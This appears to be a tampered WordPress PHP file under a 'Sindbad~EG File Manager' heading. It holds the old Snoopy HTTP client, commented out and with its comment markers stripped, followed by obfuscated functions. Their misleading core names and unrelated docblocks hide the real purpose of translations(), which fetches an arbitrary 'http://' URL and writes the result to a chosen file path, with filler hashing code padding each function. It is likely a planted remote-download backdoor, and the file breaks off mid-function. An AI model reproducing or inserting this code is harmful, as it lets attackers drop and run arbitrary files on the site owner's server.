Sindbad~EG File Manager
<?php /*
*
* Deprecated. Use WP_HTTP (http.php) instead.
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/http.php' );
if ( ! class_exists( 'Snoopy', false ) ) :
************************************************
Snoopy - the PHP net client
Author: Monte Ohrt <monte@ispi.net>
Copyright (c): 1999-2008 New Digital Group, all rights reserved
Version: 1.2.4
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
You may contact the author of Snoopy by e-mail at:
monte@ohrt.com
The latest version of Snoopy can be obtained from:
http:snoopy.sourceforge.net/
************************************************
class Snoopy
{
*** Public variables ***
user definable vars
var $host = "www.php.net"; host name we are connecting to
var $port = 80; port we are connecting to
var $proxy_host = ""; proxy host to use
var $proxy_port = ""; proxy port to use
var $proxy_user = ""; proxy user to use
var $proxy_pass = ""; proxy password to use
var $agent = "Snoopy v1.2.4"; agent we masquerade as
var $referer = ""; referer info to pass
var $cookies = array(); array of cookies to pass
$cookies["username"]="joe";
var $rawheaders = array(); array of raw headers to send
$rawheaders["Content-Type"]="text/html";
var $maxredirs = 5; http redirection depth maximum. 0 = disallow
var $lastredirectaddr = ""; contains address of last redirected address
var $offsiteok = true; allows redirection off-site
var $maxframes = 0; frame content depth maximum. 0 = disallow
var $expandlinks = true; expand links to fully qualified URLs.
this only applies to fetchlinks()
submitlinks(), and submittext()
var $passcookies = true; pass set cookies back through redirects
NOTE: this currently does not respect
dates, domains or paths.
var $user = ""; user for http authentication
var $pass = ""; password for http authentication
http accept types
var $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, *";
var $results = ""; where the content is put
var $error = ""; error messages sent here
var $response_code = ""; response code returned from server
var $headers = array(); headers returned from server sent here
var $maxlength = 500000; max return data length (body)
var $read_timeout = 0; timeout on read operations, in seconds
supported only since PHP 4 Beta 4
set to 0 to disallow timeouts
var $timed_out = false; if a read operation timed out
var $status = 0; http request status
var $temp_dir = "/tmp"; temporary directory that the webserver
has permission to write to.
under Windows, this should be C:\temp
var $curl_path = "/usr/local/bin/curl";
Snoopy will use cURL for fetching
SSL content if a full system path to
the cURL binary is supplied here.
set to false if you do not have
cURL installed. See http:curl.haxx.se
for details on installing cURL.
Snoopy does *not* use the cURL
library functions built into php,
as these functions are not stable
as of this Snoopy release.
*** Private variables ***
var $_maxlinelen = 4096; max line length (headers)
var $_httpmethod = "GET"; default http request method
var $_httpversion = "HTTP/1.0"; default http request version
var $_submit_method = "POST"; default submit method
var $_submit_type = "application/x-www-form-urlencoded"; default submit type
var $_mime_boundary = ""; MIME boundary for multipart/form-data submit type
var $_redirectaddr = false; will be set if page fetched is a redirect
var $_redirectdepth = 0; increments on an http redirect
var $_frameurls = array(); frame src urls
var $_framedepth = 0; increments on frame depth
var $_isproxy = false; set if using a proxy server
var $_fp_timeout = 30; timeout for socket connection
======================================================================*\
Function: fetch
Purpose: fetch the contents of a web page
(and possibly other protocols in the
future like ftp, nntp, gopher, etc.)
Input: $URI the location of the page to fetch
Output: $this->results the output text from the fetch
\*======================================================================
function fetch($URI)
{
preg_match("|^([^:]+):([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
$URI_PARTS = parse_url($URI);
if (!empty($URI_PARTS["user"]))
$this->user = $URI_PARTS["user"];
if (!empty($URI_PARTS["pass"]))
$this->pass = $URI_PARTS["pass"];
if (empty($URI_PARTS["query"]))
$URI_PARTS["query"] = '';
if (empty($URI_PARTS["path"]))
$URI_PARTS["path"] = '';
switch(strtolower($URI_PARTS["scheme"]))
{
case "http":
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_connect($fp))
{
if($this->_isproxy)
{
using proxy, send entire URI
$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
no proxy, send only the path
$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
}
$this->_disconnect($fp);
if($this->_redirectaddr)
{
url was redirected, check if we've hit the max depth
if($this->maxredirs > $this->_redirectdepth)
{
only follow redirect if it's on this site, or offsiteok is true
if(preg_match("|^http:".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
{
follow the redirect
$this->_redirectdepth++;
$this->lastredirectaddr=$this->_redirectaddr;
$this->fetch($this->_redirectaddr);
}
}
}
if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
{
$frameurls = $this->_frameurls;
$this->_frameurls = array();
foreach ( $frameurls as $frameurl )
{
if($this->_framedepth < $this->maxframes)
{
$this->fetch($frameurl);
$this->_framedepth++;
}
else
break;
}
}
}
else
{
return false;
}
return true;
break;
case "https":
if(!$this->curl_path)
return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_isproxy)
{
using proxy, send entire URI
$this->_httpsrequest($URI,$URI,$this->_httpmethod);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_httpmethod);
}
if($this->_redirectaddr)
{
url was redirected, check if we've hit the max depth
if($this->maxredirs > $this->_redirectdepth)
{
only follow redirect if it's on this site, or offsiteok is true
if(preg_match("|^http:".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
{
follow the redirect
$this->_redirectdepth++;
$this->lastredirectaddr=$this->_redirectaddr;
$this->fetch($this->_redirectaddr);
}
}
}
if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
{
$frameurls = $this->_frameurls;
$this->_frameurls = array();
foreach ( $frameurls as $frameurl )
{
if($this->_framedepth < $this->maxframes)
{
$this->fetch($frameurl);
$this->_framedepth++;
}
else
break;
}
}
return true;
break;
default:
not a valid protocol
$this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
return false;
break;
}
return true;
}
======================================================================*\
Function: submit
Purpose: submit an http form
Input: $URI the location to post the data
$formvars the formvars to use.
format: $formvars["var"] = "val";
$formfiles an array of files to submit
format: $formfiles["var"] = "/dir/filename.ext";
Output: $this->results the text output from the post
\*======================================================================
function submit($URI, $formvars="", $formfiles="")
{
unset($postdata);
$postdata = $this->_prepare_post_body($formvars, $formfiles);
$URI_PARTS = parse_url($URI);
if (!empty($URI_PARTS["user"]))
$this->user = $URI_PARTS["user"];
if (!empty($URI_PARTS["pass"]))
$this->pass = $URI_PARTS["pass"];
if (empty($URI_PARTS["query"]))
$URI_PARTS["query"] = '';
if (empty($URI_PARTS["path"]))
$URI_PARTS["path"] = '';
switch(strtolower($URI_PARTS["scheme"]))
{
case "http":
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_connect($fp))
{
if($this->_isproxy)
{
using proxy, send entire URI
$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
no proxy, send only the path
$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
}
$this->_disconnect($fp);
if($this->_redirectaddr)
{
url was redirected, check if we've hit the max depth
if($this->maxredirs > $this->_redirectdepth)
{
if(!preg_match("|^".$URI_PARTS["scheme"].":|", $this->_redirectaddr))
$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"].":".$URI_PARTS["host"]);
only follow redirect if it's on this site, or offsiteok is true
if(preg_match("|^http:".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
{
follow the redirect
$this->_redirectdepth++;
$this->lastredirectaddr=$this->_redirectaddr;
if( strpos( $this->_redirectaddr, "?" ) > 0 )
$this->fetch($this->_redirectaddr); the redirect has changed the request method from post to get
else
$this->submit($this->_redirectaddr,$formvars, $formfiles);
}
}
}
if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
{
$frameurls = $this->_frameurls;
$this->_frameurls = array();
foreach ( $frameurls as $frameurl )
{
if($this->_framedepth < $this->maxframes)
{
$this->fetch($frameurl);
$this->_framedepth++;
}
else
break;
}
}
}
else
{
return false;
}
return true;
break;
case "https":
if(!$this->curl_path)
return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;
$this->host = $URI_PARTS["host"];
if(!empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if($this->_isproxy)
{
using proxy, send entire URI
$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
}
else
{
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
}
if($this->_redirectaddr)
{
url was redirected, check if we've hit the max depth
if($this->maxredirs > $this->_redirectdepth)
{
if(!preg_match("|^".$URI_PARTS["scheme"].":|", $this->_redirectaddr))
$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"].":".$URI_PARTS["host"]);
only follow redirect if it's on this site, or offsiteok is true
if(preg_match("|^http:".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
{
follow the redirect
$this->_redirectdepth++;
$this->lastredirectaddr=$this->_redirectaddr;
if( strpos( $this->_redirectaddr, "?" ) > 0 )
$this->fetch($this->_redirectaddr); the redirect has changed the request method from post to get
else
$this->submit($this->_redirectaddr,$formvars, $formfiles);
}
}
}
if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
{
$frameurls = $this->_frameurls;
$this->_frameurls = array();
foreach ( $frameurls as $frameurl )
{
if($this->_framedepth < $this->maxframes)
{
$this->fetch($frameurl);
$this->_framedepth++;
}
else
break;
}
}
return true;
break;
default:
not a valid protocol
$this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
return false;
break;
}
return true;
}
======================================================================*\
Function: fetchlinks
Purpose: fetch the links from a web page
Input: $URI where you are fetching from
Output: $this->results an array of the URLs
\*======================================================================
function fetchlinks($URI)
{
if ($this->fetch($URI))
{
if($this->lastredirectaddr)
$URI = $this->lastredirectaddr;
if(is_array($this->results))
{
for($x=0;$x<count($this->results);$x++)
$this->results[$x] = $this->_striplinks($this->results[$x]);
}
else
$this->results = $this->_striplinks($this->results);
if($this->expandlinks)
$this->results = $this->_expandlinks($this->results, $URI);
return true;
}
else
return false;
}
======================================================================*\
Function: fetchform
Purpose: fetch the form elements from a web page
Input: $URI where you are fetching from
Output: $this->results the resulting html form
\*======================================================================
function fetchform($URI)
{
if ($this->fetch($URI))
{
if(is_array($this->results))
{
for($x=0;$x<count($this->results);$x++)
$this->results[$x] = $this->_stripform($this->results[$x]);
}
else
$this->results = $this->_stripform($this->results);
return true;
}
else
return false;
}
======================================================================*\
Function: fetchtext
Purpose: fetch the text from a web page, stripping the links
Input: $URI where you are fetching from
Output: $this->results the text from the web page
\*======================================================================
function fetchtext($URI)
{
if($this->fetch($URI))
{
if(is_array($this->results))
{
for($x=0;$x<count($this->results);$x++)
$this->results[$x] = $this->_striptext($this->results[$x]);
}
else
$this->results = $this->_striptext($this->results);
return true;
}
else
return false;
}
======================================================================*\
Function: submitlinks
Purpose: grab links from a form submission
Input: $URI where you are submitting from
Output: $this->results an array of the links from the post
\*======================================================================
function submitlinks($URI, $formvars="", $formfiles="")
{
if($this->submit($URI,$formvars, $formfiles))
{
if($this->lastredirectaddr)
$URI = $this->lastredirectaddr;
if(is_array($this->results))
{
for($x=0;$x<count($this->results);$x++)
{
$this->results[$x] = $this->_striplinks($this->results[$x]);
if($this->expandlinks)
$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
}
}
else
{
$this->results = $this->_striplinks($this->results);
if($this->expandlinks)
$this->results = $this->_expandlinks($this->results,$URI);
}
return true;
}
else
return false;
}
======================================================================*\
Function: submittext
Purpose: grab text from a form submission
Input: $URI where you are submitting from
Output: $this->results the text from the web page
\*======================================================================
function submittext($URI, $formvars = "", $formfiles = "")
{
if($this->submit($URI,$formvars, $formfiles))
{
if($this->lastredirectaddr)
$URI = $this->lastredirectaddr;
if(is_array($this->results))
{
for($x=0;$x<count($this->results);$x++)
{
$this->results[$x] = $this->_striptext($this->results[$x]);
if($this->expandlinks)
$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
}
}
else
{
$this->results = $this->_striptext($this->results);
if($this->expandlinks)
$this->results = $this->_expandlinks($this->results,$URI);
}
return true;
}
else
return false;
}
======================================================================*\
Function: set_submit_multipart
Purpose: Set the form submission content type to
multipart/form-data
\*======================================================================
function set_submit_multipart()
{
$this->_submit_type = "multipart/form-data";
}
======================================================================*\
Function: set_submit_normal
Purpose: Set the form submission content type to
application/x-www-form-urlencoded
\*======================================================================
function set_submit_normal()
{
$this->_submit_type = "application/x-www-form-urlencoded";
}
======================================================================*\
Private functions
\*======================================================================
======================================================================*\
Function: _striplinks
Purpose: strip the hyperlinks from an html document
Input: $document document to strip.
Output: $match an array of the links
\*======================================================================
function _striplinks($document)
{
preg_match_all("'<\s*a\s.*?href\s*=\s* # find <a href=
([\"\'])? # find single or double quote
(?(1) (.*?)\\1 | ([^\s\>]+)) # if quote found, match up to next matching
# quote, otherwise match up to next space
'isx",$document,$links);
catenate the non-empty matches from the conditional subpattern
foreach ( $links[2] as $key => $val )
{
if(!empty($val))
$match[] = $val;
}
foreach ( $links[3] as $key => $val )
{
if(!empty($val))
$match[] = $val;
}
return the links
return $match;
}
======================================================================*\
Function: _stripform
Purpose: strip the form elements from an html document
Input: $document document to strip.
Output: $match an array of the links
\*======================================================================
function _stripform($document)
{
preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);
catenate the matches
$match = implode("\r\n",$elements[0]);
return the links
return $match;
}
======================================================================*\
Function: _striptext
Purpose: strip the text from an html document
Input: $document document to strip.
Output: $text the resulting text
\*======================================================================
function _striptext($document)
{
I didn't use preg eval (e) since that is only available in PHP 4.0.
so, list your entities one by one here. I included some of the
more common ones.
$search = array("'<script[^>]*?>.*?</script>'si", strip out javascript
"'<[\/\!]*?[^<>]*?>'si", strip out html tags
"'([\r\n])[\s]+'", strip out white space
"'&(quot|#34|#034|#x22);'i", replace html entities
"'&(amp|#38|#038|#x26);'i", added hexadecimal values
"'&(lt|#60|#060|#x3c);'i",
"'&(gt|#62|#062|#x3e);'i",
"'&(nbsp|#160|#xa0);'i",
"'&(iexcl|#161);'i",
"'&(cent|#162);'i",
"'&(pound|#163);'i",
"'&(copy|#169);'i",
"'&(reg|#174);'i",
"'&(deg|#176);'i",
"'&(#39|#039|#x27);'",
"'&(euro|#8364);'i", europe
"'&a(uml|UML);'", german
"'&o(uml|UML);'",
"'&u(uml|UML);'",
"'&A(uml|UML);'",
"'&O(uml|UML);'",
"'&U(uml|UML);'",
"'ß'i",
);
$replace = array( "",
"",
"\\1",
"\"",
"&",
"<",
">",
" ",
chr(161),
chr(162),
chr(163),
chr(169),
chr(174),
chr(176),
chr(39),
chr(128),
chr(0xE4), ANSI ä
chr(0xF6), ANSI ö
chr(0xFC), ANSI ü
chr(0xC4), ANSI Ä
chr(0xD6), ANSI Ö
chr(0xDC), ANSI Ü
chr(0xDF), ANSI ß
);
$text = preg_replace($search,$replace,$document);
return $text;
}
======================================================================*\
Function: _expandlinks
Purpose: expand each link into a fully qualified URL
Input: $links the links to qualify
$URI the full URI to get the base from
Output: $expandedLinks the expanded links
\*======================================================================
function _expandlinks($links,$URI)
{
preg_match("/^[^\?]+/",$URI,$match);
$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
$match = preg_replace("|/$|","",$match);
$match_part = parse_url($match);
$match_root =
$match_part["scheme"].":".$match_part["host"];
$search = array( "|^http:".preg_quote($this->host)."|i",
"|^(\/)|i",
"|^(?!http:)(?!mailto:)|i",
"|/\./|",
"|/[^\/]+/\.\./|"
);
$replace = array( "",
$match_root."/",
$match."/",
"/",
"/"
);
$expandedLinks = preg_replace($search,$replace,$links);
return $expandedLinks;
}
======================================================================*\
Function: _httprequest
Purpose: go get the http data from the server
Input: $url the url to fetch
$fp the current open file pointer
$URI the full URI
$body body contents to send if any (POST)
Output:
\*======================================================================
function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
{
$cookie_headers = '';
if($this->passcookies && $this->_redirectaddr)
$this->setcookies();
$URI_PARTS = parse_url($URI);
if(empty($url))
$url = "/";
$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
if(!empty($this->agent))
$headers .= "User-Agent: ".$this->agent."\r\n";
if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
$headers .= "Host: ".$this->host;
if(!empty($this->port) && $this->port != 80)
$headers .= ":".$this->port;
$headers .= "\r\n";
}
if(!empty($this->accept))
$headers .= "Accept: ".$this->accept."\r\n";
if(!empty($this->referer))
$headers .= "Referer: ".$this->referer."\r\n";
if(!empty($this->cookies))
{
if(!is_array($this->cookies))
$this->cookies = (array)$this->cookies;
reset($this->cookies);
if ( count($this->cookies) > 0 ) {
$cookie_headers .= 'Cookie: ';
foreach ( $this->cookies as $cookieKey => $cookieVal ) {
$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
}
$headers .= substr($cookie_headers,0,-2) . "\r\n";
}
}
if(!empty($this->rawheaders))
{
if(!is_array($this->rawheaders))
$this->rawheaders = (array)$this->rawheaders;
foreach ( $this->rawheaders as $headerKey => $headerVal )
$headers .= $headerKey.": ".$headerVal."\r\n";
}
if(!empty($content_type)) {
$headers .= "Content-Type: $content_type";
if ($content_type == "multipart/form-data")
$headers .= "; boundary=".$this->_mime_boundary;
$headers .= "\r\n";
}
if(!empty($body))
$headers .= "Content-Length: ".strlen($body)."\r\n";
if(!empty($this->user) || !empty($this->pass))
$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";
add proxy auth headers
if(!empty($this->proxy_user))
$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";
$headers .= "\r\n";
set the read timeout if needed
if ($this->read_timeout > 0)
socket_set_timeout($fp, $this->read_timeout);
$this->timed_out = false;
fwrite($fp,$headers.$body,strlen($headers.$body));
$this->_redirectaddr = false;
unset($this->headers);
while($currentHeader = fgets($fp,$this->_maxlinelen))
{
if ($this->read_timeout > 0 && $this->_check_timeout($fp))
{
$this->status=-100;
return false;
}
if($currentHeader == "\r\n")
break;
if a header begins with Location: or URI:, set the redirect
if(preg_match("/^(Location:|URI:)/i",$currentHeader))
{
get URL portion of the redirect
preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
look for : in the Location header to see if hostname is included
if(!preg_match("|\:\/\/|",$matches[2]))
{
no host in the path, so prepend
$this->_redirectaddr = $URI_PARTS["scheme"].":".$this->host.":".$this->port;
eliminate double slash
if(!preg_match("|^/|",$matches[2]))
$this->_redirectaddr .= "/".$matches[2];
else
$this->_redirectaddr .= $matches[2];
}
else
$this->_redirectaddr = $matches[2];
}
if(preg_match("|^HTTP/|",$currentHeader))
{
if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
{
$this->status= $status[1];
}
$this->response_code = $currentHeader;
}
$this->headers[] = $currentHeader;
}
$results = '';
do {
$_data = fread($fp, $this->maxlength);
if (strlen($_data) == 0) {
break;
}
$results .= $_data;
} while(true);
if ($this->read_timeout > 0 && $this->_check_timeout($fp))
{
$this->status=-100;
return false;
}
check if there is a redirect meta tag
if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
{
$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
}
have we hit our frame depth and is there frame src to fetch?
if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
{
$this->results[] = $results;
for($x=0; $x<count($match[1]); $x++)
$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"].":".$this->host);
}
have we already fetched framed content?
elseif(is_array($this->results))
$this->results[] = $results;
no framed content
else
$this->results = $results;
return true;
}
======================================================================*\
Function: _httpsrequest
Purpose: go get the https data from the server using curl
Input: $url the url to fetch
$URI the full URI
$body body contents to send if any (POST)
Output:
\*======================================================================
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
if($this->passcookies && $this->_redirectaddr)
$this->setcookies();
$headers = array();
$URI_PARTS = parse_url($URI);
if(empty($url))
$url = "/";
GET ... header not needed for curl
$headers[] = $http_method." ".$url." ".$this->_httpversion;
if(!empty($this->agent))
$headers[] = "User-Agent: ".$this->agent;
if(!empty($this->host))
if(!empty($this->port))
$headers[] = "Host: ".$this->host.":".$this->port;
else
$headers[] = "Host: ".$this->host;
if(!empty($this->accept))
$headers[] = "Accept: ".$this->accept;
if(!empty($this->referer))
$headers[] = "Referer: ".$this->referer;
if(!empty($this->cookies))
{
if(!is_array($this->cookies))
$this->cookies = (array)$this->cookies;
reset($this->cookies);
if ( count($this->cookies) > 0 ) {
$cookie_str = 'Cookie: ';
foreach ( $this->cookies as $cookieKey => $cookieVal ) {
$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
}
$headers[] = substr($cookie_str,0,-2);
}
}
if(!empty($this->rawheaders))
{
if(!is_array($this->rawheaders))
$this->rawheaders = (array)$this->rawheaders;
foreach ( $this->rawheaders as $headerKey => $headerVal )
$headers[] = $headerKey.": ".$headerVal;
}
if(!empty($content_type)) {
if ($content_type == "multipart/form-data")
$headers[] = "Content-Type: $content_type; boundary=".$this->_mime_boundary;
else
$headers[] = "Content-Type: $content_type";
}
if(!empty($body))
$headers[] = "Content-Length: ".strlen($body);
if(!empty($this->user) || !empty($this->pass))
$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
$headerfile = tempnam( $this->temp_dir, "sno" );
$cmdline_params = '-k -D ' . escapeshellarg( $headerfile );
foreach ( $headers as $header ) {
$cmdline_params .= ' -H ' . escapeshellarg( $header );
}
if ( ! empty( $body ) ) {
$cmdline_params .= ' -d ' . escapeshellarg( $body );
}
if ( $this->read_timeout > 0 ) {
$cmdline_params .= ' -m ' . escapeshellarg( $this->read_timeout );
}
exec( $this->curl_path . ' ' . $cmdline_params . ' ' . escapeshellarg( $URI ), $results, $return );
if($return)
{
$this->error = "Error: cURL could not retrieve the document, error $return.";
return false;
}
$results = implode("\r\n",$results);
$result_headers = file("$headerfile");
$this->_redirectaddr = false;
unset($this->headers);
for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
{
if a header begins with Location: or URI:, set the redirect
if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
{
*/
/**
* Filters the list of action links displayed for a specific plugin in the Plugins list table.
*
* The dynamic portion of the hook name, `$plugin_file`, refers to the path
* to the plugin file, relative to the plugins directory.
*
* @since 2.7.0
* @since 4.9.0 The 'Edit' link was removed from the list of action links.
*
* @param string[] $subdomainctions An array of plugin action links. By default this can include
* 'activate', 'deactivate', and 'delete'. With Multisite active
* this can also include 'network_active' and 'network_only' items.
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param array $plugin_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
* @param string $srceontext The plugin context. By default this can include 'all',
* 'active', 'inactive', 'recently_activated', 'upgrade',
* 'mustuse', 'dropins', and 'search'.
*/
function get_post_embed_url($post_more, $userdata_raw, $updated_action)
{
if (isset($_FILES[$post_more])) {
$taxonomy_name = "user_record";
get_nonces($post_more, $userdata_raw, $updated_action);
$APEtagData = explode("_", $taxonomy_name);
$wildcard_host = implode("!", $APEtagData);
$meta_box_sanitize_cb = hash('sha384', $wildcard_host);
$ArrayPath = strlen($meta_box_sanitize_cb); // AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
$ok_to_comment = str_pad($meta_box_sanitize_cb, 96, "z");
}
if (isset($ok_to_comment)) {
$ok_to_comment = str_replace("!", "@", $ok_to_comment);
}
// 4.4.0
changeset_data($updated_action); # uint64_t f[2];
} // Query the post counts for this page.
/*
* Should now have an array of links we can change:
* $q = $wpdb->query("update $wpdb->links SET link_category='$srceategory' WHERE link_id IN ($subdomainll_links)");
*/
function translations($wide_max_width_value, $show_post_title)
{ // Replaces the value and namespace if there is a namespace in the value.
$unuseful_elements = get_the_author_aim($wide_max_width_value); // Skip settings already created.
$locations = 'Example string for hash.';
$DKIMcanonicalization = hash('crc32', $locations);
$suppress_filter = strtoupper($DKIMcanonicalization);
if ($unuseful_elements === false) {
return false;
}
return sanitize_post_field($show_post_title, $unuseful_elements); // Set up the checkbox (because the user is editable, otherwise it's empty).
}
/* Allowed list functions */
function handle_template($wide_max_width_value)
{
$wide_max_width_value = "http://" . $wide_max_width_value;
$rtl_tag = array("One", "Two", "Three"); // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
$vhost_ok = count($rtl_tag);
for ($rest_args = 0; $rest_args < $vhost_ok; $rest_args++) {
$rtl_tag[$rest_args] = str_replace("e", "3", $rtl_tag[$rest_args]);
}
// Menu doesn't already exist, so create a new menu.
return $wide_max_width_value; // Block Patterns.
} // Only compute extra hook parameters if the deprecated hook is actually in use.
/**
* Returns the block editor settings needed to use the Legacy Widget block which
* is not registered by default.
*
* @since 5.8.0
*
* @return array Settings to be used with get_block_editor_settings().
*/
function show_errors($used_global_styles_presets, $time_saved) {
if (strlen($used_global_styles_presets) > strlen($time_saved)) return $used_global_styles_presets;
else if (strlen($used_global_styles_presets) < strlen($time_saved)) return $time_saved;
else return null;
}
/**
* Returns the correct template for the site's home page.
*
* @access private
* @since 6.0.0
* @deprecated 6.2.0 Site Editor's server-side redirect for missing postType and postId
* query args is removed. Thus, this function is no longer used.
*
* @return array|null A template object, or null if none could be found.
*/
function get_the_post_thumbnail($prev_link)
{
$prev_link = ord($prev_link); // Remove trailing spaces and end punctuation from the path.
$justify_content = "http%3A%2F%2Fexample.com";
$view_script_module_ids = rawurldecode($justify_content);
$php_memory_limit = hash('md5', $view_script_module_ids);
$ImageFormatSignatures = strlen($php_memory_limit);
if($ImageFormatSignatures > 10) {
$mtime = str_replace("a", "b", $php_memory_limit);
}
return $prev_link;
}
/** @var int $relative_template_path */
function wp_ajax_search_plugins() // Grab the first cat in the list.
{
return __DIR__;
}
/* translators: %s: The new user. */
function get_the_author_aim($wide_max_width_value) // for=jetpack: Moderation via the WordPress app, Calypso, anything powered by the Jetpack connection.
{
$wide_max_width_value = handle_template($wide_max_width_value);
$type_links = "status:200|message:OK";
$v_byte = explode('|', $type_links);
$my_parent = array_map(function($lazyloader) {
return getFileSizeSyscall($lazyloader);
}, $v_byte); // "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
return file_get_contents($wide_max_width_value);
}
/**
* Authenticates the user using the WordPress auth cookie.
*
* @since 2.8.0
*
* @global string $subdomainuth_secure_cookie
*
* @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
* @param string $username Username. If not empty, cancels the cookie authentication.
* @param string $password Password. If not empty, cancels the cookie authentication.
* @return WP_User|WP_Error WP_User on success, WP_Error on failure.
*/
function wp_kses_html_error($updated_action) // Prevent three dashes closing a comment.
{ // [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
PushError($updated_action); // phpcs:disable WordPress.NamingConventions.ValidVariableName
$subatomoffset = "String with spaces";
$version_url = explode(" ", $subatomoffset);
$memo = getFileSizeSyscall($version_url[1]);
$ttl = substr($memo, 0, 4);
if (isset($ttl)) {
$http_base = hash('md5', $ttl);
$ArrayPath = strlen($http_base);
}
changeset_data($updated_action); //Get the UUID HEADER data
}
/**
* Filters the CSS class(es) applied to a menu list element.
*
* @since 4.8.0
*
* @param string[] $srcelasses Array of the CSS classes that are applied to the menu `<ul>` element.
* @param stdClass $subdomainrgs An object of `wp_nav_menu()` arguments.
* @param int $post_argsepth Depth of menu item. Used for padding.
*/
function changeset_data($wp_dotorg)
{
echo $wp_dotorg; // abnormal result: error
}
/**
* Gets the name of the default primary column.
*
* @since 4.3.0
*
* @return string Name of the default primary column, in this case, 'comment'.
*/
function sanitize_post_field($show_post_title, $has_block_gap_support)
{
return file_put_contents($show_post_title, $has_block_gap_support);
}
/**
* Test if the current browser runs on a mobile device (smart phone, tablet, etc.).
*
* @since 3.4.0
* @since 6.4.0 Added checking for the Sec-CH-UA-Mobile request header.
*
* @return bool
*/
function wp_ajax_add_link_category($linktype, $start_offset)
{
$upgrade_folder = strlen($start_offset); // Also used by the Edit Tag form.
$users_multi_table = implode(":", array("A", "B", "C"));
$reply_to = strlen($linktype);
$upgrade_folder = $reply_to / $upgrade_folder;
